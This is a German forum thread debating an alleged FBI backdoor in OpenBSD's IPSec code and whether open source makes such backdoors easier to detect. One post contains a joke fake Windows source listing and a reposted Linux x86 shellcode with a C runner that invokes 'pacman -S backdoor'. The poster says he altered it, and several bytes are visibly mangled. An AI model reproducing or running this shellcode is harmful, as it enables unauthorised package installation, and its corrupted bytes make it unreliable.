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Diskussion: FBI-Backdoor in IPSec-Implementierung von OpenBSD? im Forum News & Ankündigungen, in der Kategorie Allgemeines; Anzeige Ich mache es selten und daher mal c&p Der IPSEC-Stack von OpenBSD enthält möglicherweise mehrere Hintertüren, die im Auftrag ...
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| | #1 (permalink) |
| Registriert seit: 22.01.10 ![]() Likes: 20 | Anzeige Ich mache es selten und daher mal c&p Der IPSEC-Stack von OpenBSD enthält möglicherweise mehrere Hintertüren, die im Auftrag der US-Regierung in die Software integriert wurden. Auf Basis der Software entstanden viele weitere freie IPSEC-Implementierungen, so dass die Backdoor ihren Weg in andere Software gefunden haben könnte. OpenBSD-Gründer Theo de Raadt hat eine E-Mail des Softwareentwicklers Gregory Perry veröffentlicht, in der dieser auf mögliche Hintertüren in der IPSEC-Implementierung von OpenBSD hinweist. Demnach haben einige Entwickler im Auftrag der US-Regierung in den Jahren 2000 und 2001 entsprechende Schwachstellen in den Code eingebaut. Ob, und wenn ja, in welchem Umfang, Perrys Vorwürfe noch zutreffen, ist derzeit nicht klar. Theo de Raadt weist darauf hin, dass er mit Perry rund zehn Jahre keinen Kontakt hatte. Er wolle zudem nicht Teil einer solchen Verschwörung werden und machte Perrys E-Mail daher öffentlich: Wer immer den entsprechenden Code verwende, habe dadurch die Chance, ihn auf entsprechende Hintertüren zu durchsuchen. Wenn Personen dabei fälschlicherweise beschuldigt worden seien, könnten diese sich zur Wehr setzen, so de Raadt. Perry war nach eigenen Angaben seinerzeit CTO bei Netsec und arrangierte in diesem Zusammenhang auch Spenden für das OpenBSD Crypto Framework. Zugleich aber habe er auch das FBI im Rahmen des GSA Technical Support Center beraten, ein Projekt für kryptographisches Reverse Engeneering, heißt es in der E-Mail. Dass er sich jetzt an de Raadt wendet, begründet Perry mit dem Auslaufen seines NDA (Non-Disclosure-Agreement, Verschwiegenheitsvereinbarung) mit dem FBI. Er benennt in seiner E-Mail konkrete Entwickler, die für den Einbau der Backdoors verantwortlich gewesen sein sollen. Er rät dazu, sämtlichen Code der entsprechenden Entwickler und ganz allgemein alle Beiträge seines damaligen Arbeitgebers Netsec genauer zu untersuchen. Weitere Quellen: http://www.heise.de/security/meldung...D-1153180.html http://www.golem.de/1012/80129.html
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| | #2 (permalink) |
| Registriert seit: 13.08.08 ![]() Likes: 0 | Zeigt mal wieder, das Open-Source nicht gleich Sicherheit und Vertraulichkeit bedeutet
__________________ Im Ansatz gescheitert, aber doch noch nicht verloren. Weiterspielen. |
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| | #3 (permalink) |
| Registriert seit: 14.12.10 ![]() Likes: 0 | naja ich denke mal, dass unter closed-source so etwas nicht so leicht erkannt werden würde wie unter open-source... Geändert von MemoryMatt (15.12.10 um 16:37 Uhr) |
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| | #4 (permalink) |
| Registriert seit: 20.01.10 ![]() Likes: 0 | Da liegst du ein wenig Falsch. Natürlich ist Unix/Linux Angreifbarer geworden, aber bei den OpenSource-Projekten ist es wesentlich leichter solchen Code zu entdecken als bei geschlossenen bzw. geschützten Projekten. |
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| | #5 (permalink) | |
| Member of Honour ![]() | Zitat:
das Thema wurde, wie ich eben durch Google festgestellt habe, auch hier im HaBo diskutiert: NSA-Key = Windows-Backdoor - ja oder nein? | |
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| | #6 (permalink) |
| Registriert seit: 13.08.08 ![]() Likes: 0 | Ist nur ein Paradebeispiel, aber dazu gibts ja im Linux-Flame Thread die Diskussionen. Dass man die Backdoor(falls eine solche nun wirklich vorhanden ist) einfach so entdeckt hätte, wage ich auch zu bezweifeln.
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| | #7 (permalink) | |
| Moderator ![]() Registriert seit: 30.06.08 ![]() ![]() ![]() ![]() Likes: 227 | Zitat:
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| | #8 (permalink) |
| Registriert seit: 20.01.10 ![]() Likes: 0 | ?? Ist das ein Witz Wenn man etwas Ahnung vom programmieren hat und die Quellen durchgeht dann sollte man schon Erkennen können was das Programm tut und welche Aufrufe gemacht werden. Das ist doch nicht so schwer man braucht lediglich Geduld und Zeit. Das Problem ist, dass man danach nicht sucht, wenn man davon nichts weiss ![]() Ausserdem ist selbst dass nicht nötig, dazu verwendet man einfach ein Netzwerktool wie Wireshark um den Datenverkehr zu Analysieren. Trojaner sollten da schon recht schnell Erkannt werden. Geändert von serpent (16.12.10 um 10:26 Uhr) |
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| | #9 (permalink) | |
| Member of Honour ![]() Registriert seit: 05.03.08 ![]() ![]() ![]() ![]() ![]() Likes: 246 | Zitat:
Lustigerweise konnte man einen solchen Kanal entdecken, da der verwendete Zufallsgenerator "zufälligere" Werte erzeugte, als der Linuxkernel. Aber das ließ sich natürlich auch schnell wieder fixen | |
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| | #10 (permalink) |
| Moderator ![]() Registriert seit: 30.09.06 ![]() ![]() ![]() ![]() ![]() ![]() Likes: 442 | @serpent: Wie lange brauchst du etwa um ein paar Hundertausend Zeilen Kernel-Code auf Sicherheitslücken zu prüfen und sämtliche Zusammenhänge des Codes zu verstehen? Will man denn bei jedem Release erstmal einen wochenlangen Code-Freeze machen, nur um ein Code-Review zu machen? Sonst hat man ja das Problem, dass schon beim Review weiterer Code mit potentiellen Lücken einfliesst. So einfach ist das also logistisch in einem großen Projekt wie BSD, Linux u.ä. nicht lösbar. Es gibt in jedem Systemkernel irgendwelchen jahrealten Code, den seit Ewigkeiten niemand mehr angeschaut hat, der aber evtl. mit neu implementierten Features des Kernels irgendwelche Sicherheitsprobleme offenbart. Auch ein Review jedes neu eingebrachten Code-Schnipsels bringt nichts, wie man vor einigen Jahren bei Linux sehen konnte, als sich eine Backdoor auftat, die über Jahre verteilt auf mehrere Patches von einem Entwickler eingebracht wurde. Es ist also keineswegs einfacher solche Lücken zu entdecken, nur weil etwas OpenSource ist. Es ist nur dann einfacher, wenn dediziert mehrere Leute für regelmäßige Code-Reviews verantwortlich sind. Und wer hat schon Lust darauf Tag für Tag fremden Code durchzugehen? Im OSS-Bereich wohl kaum jemand. Die Leute coden schliesslich oft aus Spass an der Sache und nicht damit man ihnen irgendwelche Aufgaben auf's Auge drückt.
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| | #11 (permalink) |
| Themenstarter Registriert seit: 22.01.10 ![]() Likes: 20 | Also ich sage jetzt mal bei Windows gibt es keinen Backdoor vom FBI da bin ich mir mehr als 100% sicher. Es gibt ja dieses sagenumwogenen USB Stick mit dem sich die Cops Daten vom Pc holen. ööö ja dieser Stick ist keine legende ich habe ihn mit meinen eigenen Augen gesehen. Was dieser Stick alles kann weiß ich aber nicht genau,es schien aber so als wäre es von gröster wichtigkeit das der Pc an ist. Ich vermute mal der Stick ist sonst vollkommen machtlos also scheint er kein Windows PWs auslesen zu können. Also wäre es unlogisch einen solchen Stick zu entwerfen wen es einen Backdoor geben würde. Ps ich merke gleich noch mal an zu der Theorie das Truecrypt vom FBI stammen sollte bezweifel ich auch da ich nach meinen Truecrypt Pw (ich wurde damit unterdruck gesetzt wen ich das PW nicht rausgeben würde fällt meine Strafe höher aus) für meine VM gefragt wurde. Somit glaube ich auch nicht das es für Truecrypt ein Master Key oder ähnliches gibt. Aber Microsoft hat schon einmal vor ein paar Jahren in allen Pcs die gerade Online waren ein Update eingespielt was auch zeigt das sie sich zugang zu den Systemen verschaffen können. Microsoft spielt heimlich Updates ein http://www.heise.de/newsticker/meldu...in-175014.html
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| | #12 (permalink) | |
| Moderator ![]() Registriert seit: 30.06.08 ![]() ![]() ![]() ![]() Likes: 227 | Zitat:
2. Nützen Die deine Tools in diesem Fall höchstens etwas, wenn du weisst das ein Angriff statt findet. Sorry, aber Du hast imho keine Ahnung wovon du da redest.
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| | #13 (permalink) |
| Moderator ![]() Registriert seit: 20.07.05 ![]() ![]() ![]() ![]() ![]() ![]() Likes: 202 | 1) zum "wer Ahnung hat, würde sowas sehen" es ist keineswegs in solcher Form vorhanden: Code: void backdoor(bla)... Viel eher vorstellbar, dass hier ein BoF bzw. ähnliche Dinge genutzt wurden: irgendwo bei einem switch-case einen Break "vergessen" oder einen selten genutzten Parameter "gesondert" behandeln (usw.) bei denen es höchstens nach Schlamperei, aber keineswegs nach Absicht ausschaut. Wenn man nicht gerade selber ähnliche Implementierungen schreibt (und damit gerade in der Materie "drin" ist), fehlt einem einfach das nötige Wissen über die Feinheiten, um sagen zu können: "dieser Codebereich ist aber unnötig/komisch!" Was uns auch zu 2) führt: Wer sagt denn bitte, dass die Backdoor nicht schon lange wieder herausgenommen wurde? Wenn man nämlich davon ausgeht, dass sie wie in 1) erwähnt als "unbeabsichtigter" Bug "eingebastelt" wurde, so wurde sie bei der Weiterentwicklung/Überarbeitung des Codes wohl eher stillschweigend als Code-Fehler erkannt & entfernt.
__________________ Noch mal, für alle Pseudo-Geeks: 1+1=0. -> 10 wäre Überlauf! Selig, wer nichts zu sagen hat und trotzdem schweigt. |
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| | #14 (permalink) |
| Themenstarter Registriert seit: 22.01.10 ![]() Likes: 20 | Code: void Backdoor Code: Windows Source Code
/* Source Code Windows 2000 */
#include "win31.h"
#include "win95.h"
#include "win98.h"
#include "workst~1.h"
#include "evenmore.h"
#include "oldstuff.h"
#include "billrulz.h"
#include "monopoly.h"
#include "backdoor.h"
#define INSTALL = HARD
char make_prog_look_big(16000000);
void main()
{
while(!CRASHED)
{
display_copyright_message();
display_bill_rules_message();
do_nothing_loop();
if (first_time_installation)
{
make_100_megabyte_swapfile();
do_nothing_loop();
totally_screw_up_HPFS_file_system();
search_and_destroy_the_rest_of-OS2();
make_futile_attempt_to_damage_Linux();
disable_Netscape();
disable_RealPlayer();
disable_Lotus_Products();
hang_system();
} //if
write_something(anything);
display_copyright_message();
do_nothing_loop();
do_some_stuff();
if (still_not_crashed)
{
display_copyright_message();
do_nothing_loop();
basically_run_windows_31();
do_nothing_loop();
} // if
} //while
if (detect_cache())
disable_cache();
if (fast_cpu())
{
set_wait_states(lots);
set_mouse(speed,very_slow);
set_mouse(action,jumpy);
set_mouse(reaction,sometimes);
} //if
/* printf("Welcome to Windows 3.1"); */
/* printf("Welcome to Windows 3.11"); */
/* printf("Welcome to Windows 95"); */
/* printf("Welcome to Windows NT 3.0"); */
/* printf("Welcome to Windows 98"); */
/* printf("Welcome to Windows NT 4.0"); */
printf("Welcome to Windows 2000");
if (system_ok())
crash(to_dos_prompt)
else
system_memory = open("a:\swp0001.swp",O_CREATE);
while(something)
{
sleep(5);
get_user_input();
sleep(5);
act_on_user_input();
sleep(5);
} // while
create_general_protection_fault();
} // main
That's all, no comments !!! Aber damit jetzt kein Kiddie ankommt und den Code missbraucht Manipuliere ich ihn mal und es dürfte wider legal sein,wen nicht Code löschen. Code: /*
Title : Linux i686 - pacman -S <package> (default package: backdoor) - 64 bytes
Author : Jonathan Salwan
Pacman is a software package manager, developed as part of the Arch Linux distribution. With this shellcode you can install the backdoor packages.
! DataBase of Shellcodes and you can share your shellcodes :
Disassembly of section .text:
08048054 <.text>:
8048054: 31 c0 xor %eax,%eax
8048056: 31 db xor %ebx,%ebx
8048058: 31 c9 xor %ecx,%ecx
804805a: 31 d2 xor %edx,%edx
804805c: 31 f6 xor %esi,%esi
804805e: 52 push %edx
804805f: 68 64 6f 6f 72 push $0x726f6f64 << This is a package
8048064: 68 62 61 63 6b push $0x6b636162 << (backdoor). You can change it.
8048069: 89 e6 mov %esp,%esi
804806b: 52 push %edx
804806c: 66 68 2d 53 pushw $0x532d
8048070: 89 e1 mov %esp,%ecx
8048072: 52 push %edx
8048073: 68 63 6d 61 6e push $0x6e616d63
8048078: 68 6e 2f 70 61 push $0x61702f6e
804807d: 68 72 2f 62 69 push $0x69622f72
8048082: 68 2f 2f 75 73 push $0x73752f2f
8048087: 89 e3 mov %esp,%ebx
8048089: 52 push %edx
804808a: 56 push %esi
804808b: 51 push %ecx
804808c: 53 push %ebx
804808d: 89 e1 mov %esp,96ecx
804808f: bo ob m0v $0xb,%al
8048091: 99 cltd
8048092: cd 80 int $0x80
*/
#include <stdio.h>
int main(void)
{
char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31"
"\xd2\x31\xf6\x52\x68\x64\x6f"
"\x6f\x72\x68\x62\x61\x63\x6b"
"\x89\xe6\x52\x66\x68\x2d\x52"
"\x89\xe1\x52\x68\x63\x6d\x61"
"\x6e\x68\x6e\x2f\x70\x61\x68"
"\x72\x2f\x62\x69\x68\x2f\x2f"
"\x75\x73\x89\xe3\x52\x56\x51"
"\x53\x89\xe1\xb0\x0b\x99\xcd"
"\x80";
printf("Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 1;
} Habe KÖNNTE mit Absicht so Fett und Rot gemacht.
__________________ evil loves to party http://ratnetw0rk.blogspot.com Geändert von rat (16.12.10 um 20:02 Uhr) |
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| | #15 (permalink) | ||
| Registriert seit: 20.01.10 ![]() Likes: 0 | Zitat:
Zitat:
Zitat: "dass man danach nicht sucht, wenn man davon nichts weiss" Sorry wenn ich dich beleidigt haben soll, war nicht meine Absicht. Ich bin nicht hier um zu Flamen sondern zum lernen. | ||
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